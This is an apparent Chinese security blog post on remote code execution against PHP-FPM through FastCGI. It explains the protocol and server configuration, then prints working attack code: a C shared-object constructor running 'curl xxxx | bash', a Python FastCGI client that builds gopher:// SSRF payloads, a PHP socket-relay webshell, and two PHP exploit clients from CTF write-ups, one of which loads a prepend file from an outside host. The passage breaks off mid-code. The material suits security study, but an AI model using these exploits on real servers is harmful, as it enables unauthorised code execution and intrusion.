php-fpm rce攻击
2019-09-27 11:33:41 Author: mp.weixin.qq.com(查看原文) 阅读量:113 收藏

PHP-FPM(FastCGI Process Manager):FastCGI进程管理器

FastCGI

FastCGI 本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议

fastcgi 协议由多个 record 组成,recordheaderbody 组成

typedef struct {  /* Header */  unsigned char version; // 版本  unsigned char type; // 本次record的类型  unsigned char requestIdB1; // 本次record对应的请求id  unsigned char requestIdB0;  unsigned char contentLengthB1; // body体的大小  unsigned char contentLengthB0;  unsigned char paddingLength; // 额外块大小  unsigned char reserved; 
/* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength];} FCGI_Record;

实验推荐:Fastcgi安全

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060115422500001


PHP-FPM

PHP-FPM 是 一个实现和管理 FastCGI 协议的进程

PHP-FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据

一般来说,apache 通过 mod_php 来解析 phpnginx 通过 php-fpm(fast-cgi) 来解析 phpapache 也可以设置为 php-fpm 方式

mod_php 通过嵌入 PHP 解释器到 apache 进程中,只能与 apache 配合使用

cgifast-cgi 以独立的进程的形式出现,只要对应的Web服务器实现 cgi 或者 fast-cgi 协议,就能够处理 PHP 请求

nginx 与 php-fpm 通信可以通过两种模式,一种是 TCP 模式,一种是 unix 套接字 (socket) 模式

TCP 模式

php-fpm 进程会监听本机上的一个端口,默认为9000,然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析

nginx的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {    ...    fastcgi_pass 127.0.0.1:9000;    ... }

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

listen= 127.0.0.1:9000

Unix Socket

unix 系统进程间通信方式,需要通信的两个进程引用同一个 socket  描述符文件就可以建立通道进行通信

nginx 的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {    ...    fastcgi_pass unix:/run/php/php7.3-fpm.sock;    ... }

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

 listen= /run/php/php7.3-fpm.sock

普通 RCE

PHP-FPM 的两个环境变量: PHP_VALUEPHP_ADMIN_VALUE,用来设置PHP配置项

  • PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项

  • PHP_ADMIN_VALUE 可以设置所有选项,但 disable_functions 除外

php-fpm进行通信,执行php代码

来自p神的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1

  • 找到一个已存在的PHP文件

  • 设置 auto_prepend_filephp://inputallow_url_include = On,在执行任何php文件前都要包含一遍POST的内容,把待执行的代码放在Body

  • 或者 auto_prepend_file 为 自己的vps地址

但这种方法受限于 disable_functions

绕过 disable_functions RCE

可以引入扩展 .so文件 ,hook函数,达到绕过 disable_functions 来RCE的效果

PHP_ADMIN_VALUE['extension'] = hack.so

生成 .so 文件的工具 https://github.com/w181496/FuckFastcgi/

或者

// gcc -c -fPIC hack.c -o hack// gcc --share hack -o hack.so
#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>__attribute__ ((__constructor__)) void preload (void){ system("curl xxxx | bash");}

9000端口暴露在外网(未授权访问)

修改 php-fpm的监听端口为 0.0.0.0:9000,也就是任何ip都能访问9000端口,就可以与 php-fpm 进行通信,伪造 fastcgi协议包进行任意代码执行

exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

SSRF打9000端口

如果9000端口没有开放在外网,可以通过SSRF来打,原理同上

import socketimport randomimport argparseimport sysfrom io import BytesIOimport base64import urllib# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False

def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])
def bord(c): if isinstance(c, int): return c else: return ord(c)
def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')
def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s

class FastCGIClient: """A Fast-CGI Client for Python"""
# private __FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict()
def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf
def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value
def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header
def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record
def request(self, nameValuePairs={}, post=''): # if not self.__connect(): # print('connect failure! please check your fasctcgi-server !!') # return
requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
# print base64.b64encode(request) return request # self.sock.send(request) # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND # self.requests[requestId]['response'] = b'' # return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf
data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response']
def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)

if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } request = client.request(params, content) print "to base64 :" print base64.b64encode(request) # request = urllib.quote(request) print "to ssrf :" print urllib.quote("gopher://127.0.0.1:" + str(args.port) + "/_" + request)

Socket通信

直接与 Socket 进行通信,伪造fastcgi协议包进行任意代码执行

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');fputs($sock, base64_decode($_POST['A']));var_dump(fread($sock, 4096));?>

POST 方式 A 参数传入 base64 编码的 payload

默认套接字的位置在 /run/php/php7.3-fpm.sock

如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径,或者 TCP 模式的端口号

*CTF echohub

https://github.com/CTFTraining/starctf_2019_echohub

题目环境是以 apache-module 运行的 php ,但是安装了所有的php拓展并且开启,也包括php-fpm

也就是说还有一个不带disable_function限制的php环境 php-fpm开启

题目环境运行的 php 无法利用,就来攻击这个 php 实现命令执行

wp: https://xz.aliyun.com/t/5006#toc-3

0CTF/TCTF2019_Quals wallbreaker-easy

题目如下

Imagick is a awesome library for hackers to break `disable_functions`.So I installed php-imagick in the server, opened a `backdoor` for you.Let's try to execute `/readflag` to get the flag.Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655Hint: eval($_POST["backdoor"]);

官方Hint:

Ubuntu 18.04 / apt install php php-fpm php-imagick

题目源码:

<?php$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");mkdir($dir);ini_set('open_basedir', '/var/www/html:' . $dir);?><!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body><pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.So I installed php-imagick in the server, opened a `backdoor` for you.Let's try to execute `/readflag` to get the flag.Open basedir: <?php echo ini_get('open_basedir');?><?php eval($_POST["backdoor"]);?>Hint: eval($_POST["backdoor"]);

题目是一个限制了 open_basedirdisable_functions 的webshell

题目有很多种解法,这里记录一下利用 PHP-FPM来绕过 open_basedir 的限制,读到flag

这里贴两个exp

<details><summary>exp1(点击查看):</summary><p>

<?php/** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. *//** * Handles communication with a FastCGI application * * @author      Pierrick Charron <pierrick@webstart.fr> * @version     1.0 */class FCGIClient{    const VERSION_1            = 1;    const BEGIN_REQUEST        = 1;    const ABORT_REQUEST        = 2;    const END_REQUEST          = 3;    const PARAMS               = 4;    const STDIN                = 5;    const STDOUT               = 6;    const STDERR               = 7;    const DATA                 = 8;    const GET_VALUES           = 9;    const GET_VALUES_RESULT    = 10;    const UNKNOWN_TYPE         = 11;    const MAXTYPE              = self::UNKNOWN_TYPE;    const RESPONDER            = 1;    const AUTHORIZER           = 2;    const FILTER               = 3;    const REQUEST_COMPLETE     = 0;    const CANT_MPX_CONN        = 1;    const OVERLOADED           = 2;    const UNKNOWN_ROLE         = 3;    const MAX_CONNS            = 'MAX_CONNS';    const MAX_REQS             = 'MAX_REQS';    const MPXS_CONNS           = 'MPXS_CONNS';    const HEADER_LEN           = 8;    /**     * Socket     * @var Resource     */    private $_sock = null;    /**     * Host     * @var String     */    private $_host = null;    /**     * Port     * @var Integer     */    private $_port = null;    /**     * Keep Alive     * @var Boolean     */    private $_keepAlive = false;    /**     * Constructor     *     * @param String $host Host of the FastCGI application     * @param Integer $port Port of the FastCGI application     */    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket{        $this->_host = $host;        $this->_port = $port;    }    /**     * Define whether or not the FastCGI application should keep the connection     * alive at the end of a request     *     * @param Boolean $b true if the connection should stay alive, false otherwise     */    public function setKeepAlive($b){        $this->_keepAlive = (boolean)$b;        if (!$this->_keepAlive && $this->_sock) {            fclose($this->_sock);        }    }    /**     * Get the keep alive status     *     * @return Boolean true if the connection should stay alive, false otherwise     */    public function getKeepAlive(){        return $this->_keepAlive;    }    /**     * Create a connection to the FastCGI application     */    private function connect(){        if (!$this->_sock) {            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);            if (!$this->_sock) {                throw new Exception('Unable to connect to FastCGI application');            }        }    }    /**     * Build a FastCGI packet     *     * @param Integer $type Type of the packet     * @param String $content Content of the packet     * @param Integer $requestId RequestId     */    private function buildPacket($type, $content, $requestId = 1){        $clen = strlen($content);        return chr(self::VERSION_1)         /* version */            . chr($type)                    /* type */            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */            . chr($requestId & 0xFF)        /* requestIdB0 */            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */            . chr($clen & 0xFF)             /* contentLengthB0 */            . chr(0)                        /* paddingLength */            . chr(0)                        /* reserved */            . $content;                     /* content */    }    /**     * Build an FastCGI Name value pair     *     * @param String $name Name     * @param String $value Value     * @return String FastCGI Name value pair     */    private function buildNvpair($name, $value){        $nlen = strlen($name);        $vlen = strlen($value);        if ($nlen < 128) {            /* nameLengthB0 */            $nvpair = chr($nlen);        } else {            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);        }        if ($vlen < 128) {            /* valueLengthB0 */            $nvpair .= chr($vlen);        } else {            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);        }        /* nameData & valueData */        return $nvpair . $name . $value;    }    /**     * Read a set of FastCGI Name value pairs     *     * @param String $data Data containing the set of FastCGI NVPair     * @return array of NVPair     */    private function readNvpair($data, $length = null){        $array = array();        if ($length === null) {            $length = strlen($data);        }        $p = 0;        while ($p != $length) {            $nlen = ord($data{$p++});            if ($nlen >= 128) {                $nlen = ($nlen & 0x7F << 24);                $nlen |= (ord($data{$p++}) << 16);                $nlen |= (ord($data{$p++}) << 8);                $nlen |= (ord($data{$p++}));            }            $vlen = ord($data{$p++});            if ($vlen >= 128) {                $vlen = ($nlen & 0x7F << 24);                $vlen |= (ord($data{$p++}) << 16);                $vlen |= (ord($data{$p++}) << 8);                $vlen |= (ord($data{$p++}));            }            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);            $p += ($nlen + $vlen);        }        return $array;    }    /**     * Decode a FastCGI Packet     *     * @param String $data String containing all the packet     * @return array     */    private function decodePacketHeader($data){        $ret = array();        $ret['version']       = ord($data{0});        $ret['type']          = ord($data{1});        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});        $ret['paddingLength'] = ord($data{6});        $ret['reserved']      = ord($data{7});        return $ret;    }    /**     * Read a FastCGI Packet     *     * @return array     */    private function readPacket(){        if ($packet = fread($this->_sock, self::HEADER_LEN)) {            $resp = $this->decodePacketHeader($packet);            $resp['content'] = '';            if ($resp['contentLength']) {                $len  = $resp['contentLength'];                while ($len && $buf=fread($this->_sock, $len)) {                    $len -= strlen($buf);                    $resp['content'] .= $buf;                }            }            if ($resp['paddingLength']) {                $buf=fread($this->_sock, $resp['paddingLength']);            }            return $resp;        } else {            return false;        }    }    /**     * Get Informations on the FastCGI application     *     * @param array $requestedInfo information to retrieve     * @return array     */    public function getValues(array $requestedInfo){        $this->connect();        $request = '';        foreach ($requestedInfo as $info) {            $request .= $this->buildNvpair($info, '');        }        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));        $resp = $this->readPacket();        if ($resp['type'] == self::GET_VALUES_RESULT) {            return $this->readNvpair($resp['content'], $resp['length']);        } else {            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');        }    }    /**     * Execute a request to the FastCGI application     *     * @param array $params Array of parameters     * @param String $stdin Content     * @return String     */    public function request(array $params, $stdin){        $response = '';        $this->connect();        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));        $paramsRequest = '';        foreach ($params as $key => $value) {            $paramsRequest .= $this->buildNvpair($key, $value);        }        if ($paramsRequest) {            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);        }        $request .= $this->buildPacket(self::PARAMS, '');        if ($stdin) {            $request .= $this->buildPacket(self::STDIN, $stdin);        }        $request .= $this->buildPacket(self::STDIN, '');        fwrite($this->_sock, $request);        do {            $resp = $this->readPacket();            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {                $response .= $resp['content'];            }        } while ($resp && $resp['type'] != self::END_REQUEST);        var_dump($resp);        if (!is_array($resp)) {            throw new Exception('Bad request');        }        switch (ord($resp['content']{4})) {            case self::CANT_MPX_CONN:                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');                break;            case self::OVERLOADED:                throw new Exception('New request rejected; too busy [OVERLOADED]');                break;            case self::UNKNOWN_ROLE:                throw new Exception('Role value not known [UNKNOWN_ROLE]');                break;            case self::REQUEST_COMPLETE:                return $response;        }    }}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {    die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {    $filepath = __FILE__;}else{    $filepath = $_REQUEST['filepath'];}$req = '/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock", -1);$code = "<?php echo(\$_REQUEST['command']);?>"; // php payload//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://kaibro.tw/gginin";$params = array(        'GATEWAY_INTERFACE' => 'FastCGI/1.0',        'REQUEST_METHOD'    => 'POST',        'SCRIPT_FILENAME'   => $filepath,        'SCRIPT_NAME'       => $req,        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],        'REQUEST_URI'       => $uri,        'DOCUMENT_URI'      => $req,#'DOCUMENT_ROOT'     => '/',        'PHP_VALUE'         => $php_value,        'SERVER_SOFTWARE'   => '80sec/wofeiwo',        'REMOTE_ADDR'       => '127.0.0.1',        'REMOTE_PORT'       => '9985',        'SERVER_ADDR'       => '127.0.0.1',        'SERVER_PORT'       => '80',        'SERVER_NAME'       => 'localhost',        'SERVER_PROTOCOL'   => 'HTTP/1.1',        'CONTENT_LENGTH'    => strlen($code)        );// print_r($_REQUEST);// print_r($params);echo "Call: $uri\n\n";echo strstr($client->request($params, $code), "PHP Version", true)."\n";?>

</p></details>

<details><summary>exp2(点击查看):</summary><p>

<?phpclass TimedOutException extends Exception {}class ForbiddenException extends Exception {}class Client {    const VERSION_1 = 1;    const BEGIN_REQUEST = 1;    const ABORT_REQUEST = 2;    const END_REQUEST = 3;    const PARAMS = 4;    const STDIN = 5;    const STDOUT = 6;    const STDERR = 7;    const DATA = 8;    const GET_VALUES = 9;    const GET_VALUES_RESULT = 10;    const UNKNOWN_TYPE = 11;    const MAXTYPE = self::UNKNOWN_TYPE;    const RESPONDER = 1;    const AUTHORIZER = 2;    const FILTER = 3;    const REQUEST_COMPLETE = 0;    const CANT_MPX_CONN = 1;    const OVERLOADED = 2;    const UNKNOWN_ROLE = 3;    const MAX_CONNS = 'MAX_CONNS';    const MAX_REQS = 'MAX_REQS';    const MPXS_CONNS = 'MPXS_CONNS';    const HEADER_LEN = 8;    const REQ_STATE_WRITTEN = 1;    const REQ_STATE_OK = 2;    const REQ_STATE_ERR = 3;    const REQ_STATE_TIMED_OUT = 4;    private $_sock = null;    private $_host = null;    private $_port = null;    private $_keepAlive = false;    private $_requests = array();    private $_persistentSocket = false;    private $_connectTimeout = 5000;    private $_readWriteTimeout = 5000;    public function __construct($host, $port) {        $this->_host = $host;        $this->_port = $port;    }    public function setKeepAlive($b) {        $this->_keepAlive = (boolean)$b;        if (!$this->_keepAlive && $this->_sock) {            fclose($this->_sock);        }    }    public function getKeepAlive() {        return $this->_keepAlive;    }    public function setPersistentSocket($b) {        $was_persistent = ($this->_sock && $this->_persistentSocket);        $this->_persistentSocket = (boolean)$b;        if (!$this->_persistentSocket && $was_persistent) {            fclose($this->_sock);        }    }    public function getPersistentSocket() {        return $this->_persistentSocket;    }    public function setConnectTimeout($timeoutMs) {        $this->_connectTimeout = $timeoutMs;    }    public function getConnectTimeout() {        return $this->_connectTimeout;    }    public function setReadWriteTimeout($timeoutMs) {        $this->_readWriteTimeout = $timeoutMs;        $this->set_ms_timeout($this->_readWriteTimeout);    }    public function getReadWriteTimeout() {        return $this->_readWriteTimeout;    }    private function set_ms_timeout($timeoutMs) {        if (!$this->_sock) {            return false;        }        return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);    }    private function connect() {        if (!$this->_sock) {            if ($this->_persistentSocket) {                $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);            } else {                $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);            }            if (!$this->_sock) {                throw new Exception('Unable to connect to FastCGI application: ' . $errstr);            }            if (!$this->set_ms_timeout($this->_readWriteTimeout)) {                throw new Exception('Unable to set timeout on socket');            }        }    }    private function buildPacket($type, $content, $requestId = 1) {        $clen = strlen($content);        return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */    }    private function buildNvpair($name, $value) {        $nlen = strlen($name);        $vlen = strlen($value);        if ($nlen < 128) {            /* nameLengthB0 */            $nvpair = chr($nlen);        } else {            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);        }        if ($vlen < 128) {            /* valueLengthB0 */            $nvpair.= chr($vlen);        } else {            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */            $nvpair.= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);        }        /* nameData & valueData */        return $nvpair . $name . $value;    }    private function readNvpair($data, $length = null) {        $array = array();        if ($length === null) {            $length = strlen($data);        }        $p = 0;        while ($p != $length) {            $nlen = ord($data{$p++});            if ($nlen >= 128) {                $nlen = ($nlen & 0x7F << 24);                $nlen|= (ord($data{$p++}) << 16);                $nlen|= (ord($data{$p++}) << 8);                $nlen|= (ord($data{$p++}));            }            $vlen = ord($data{$p++});            if ($vlen >= 128) {                $vlen = ($nlen & 0x7F << 24);                $vlen|= (ord($data{$p++}) << 16);                $vlen|= (ord($data{$p++}) << 8);                $vlen|= (ord($data{$p++}));            }            $array[substr($data, $p, $nlen) ] = substr($data, $p + $nlen, $vlen);            $p+= ($nlen + $vlen);        }        return $array;    }    private function decodePacketHeader($data) {        $ret = array();        $ret['version'] = ord($data{0});        $ret['type'] = ord($data{1});        $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});        $ret['paddingLength'] = ord($data{6});        $ret['reserved'] = ord($data{7});        return $ret;    }    private function readPacket() {        if ($packet = fread($this->_sock, self::HEADER_LEN)) {            $resp = $this->decodePacketHeader($packet);            $resp['content'] = '';            if ($resp['contentLength']) {                $len = $resp['contentLength'];                while ($len && ($buf = fread($this->_sock, $len)) !== false) {                    $len-= strlen($buf);                    $resp['content'].= $buf;                }            }            if ($resp['paddingLength']) {                $buf = fread($this->_sock, $resp['paddingLength']);            }            return $resp;        } else {            return false;        }    }    public function getValues(array $requestedInfo) {        $this->connect();        $request = '';        foreach ($requestedInfo as $info) {            $request.= $this->buildNvpair($info, '');        }        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));        $resp = $this->readPacket();        if ($resp['type'] == self::GET_VALUES_RESULT) {            return $this->readNvpair($resp['content'], $resp['length']);        } else {            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');        }    }    public function request(array $params, $stdin) {        $id = $this->async_request($params, $stdin);        return $this->wait_for_response($id);    }    public function async_request(array $params, $stdin) {        $this->connect();        // Pick random number between 1 and max 16 bit unsigned int 65535        $id = mt_rand(1, (1 << 16) - 1);        // Using persistent sockets implies you want them keept alive by server!        $keepAlive = intval($this->_keepAlive || $this->_persistentSocket);        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5), $id);        $paramsRequest = '';        foreach ($params as $key => $value) {            $paramsRequest.= $this->buildNvpair($key, $value, $id);        }        if ($paramsRequest) {            $request.= $this->buildPacket(self::PARAMS, $paramsRequest, $id);        }        $request.= $this->buildPacket(self::PARAMS, '', $id);        if ($stdin) {            $request.= $this->buildPacket(self::STDIN, $stdin, $id);        }        $request.= $this->buildPacket(self::STDIN, '', $id);        if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {            $info = stream_get_meta_data($this->_sock);            if ($info['timed_out']) {                throw new TimedOutException('Write timed out');            }            // Broken pipe, tear down so future requests might succeed            fclose($this->_sock);            throw new Exception('Failed to write request to socket');        }        $this->_requests[$id] = array('state' => self::REQ_STATE_WRITTEN, 'response' => null);        return $id;    }    public function wait_for_response($requestId, $timeoutMs = 0) {        if (!isset($this->_requests[$requestId])) {            throw new Exception('Invalid request id given');        }        if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR) {            return $this->_requests[$requestId]['response'];        }        if ($timeoutMs > 0) {            // Reset timeout on socket for now            $this->set_ms_timeout($timeoutMs);        } else {            $timeoutMs = $this->_readWriteTimeout;        }        $startTime = microtime(true);        do {            $resp = $this->readPacket();            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {                if ($resp['type'] == self::STDERR) {                    $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;                }                $this->_requests[$resp['requestId']]['response'].= $resp['content'];            }            if ($resp['type'] == self::END_REQUEST) {                $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;                if ($resp['requestId'] == $requestId) {                    break;                }            }            if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {                // Reset                $this->set_ms_timeout($this->_readWriteTimeout);                throw new Exception('Timed out');            }        } while ($resp);        if (!is_array($resp)) {            $info = stream_get_meta_data($this->_sock);            // We must reset timeout but it must be AFTER we get info            $this->set_ms_timeout($this->_readWriteTimeout);            if ($info['timed_out']) {                throw new TimedOutException('Read timed out');            }            if ($info['unread_bytes'] == 0 && $info['blocked'] && $info['eof']) {                throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');            }            throw new Exception('Read failed');        }        // Reset timeout        $this->set_ms_timeout($this->_readWriteTimeout);        switch (ord($resp['content'] {                4        })) {            case self::CANT_MPX_CONN:                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');            break;            case self::OVERLOADED:                throw new Exception('New request rejected; too 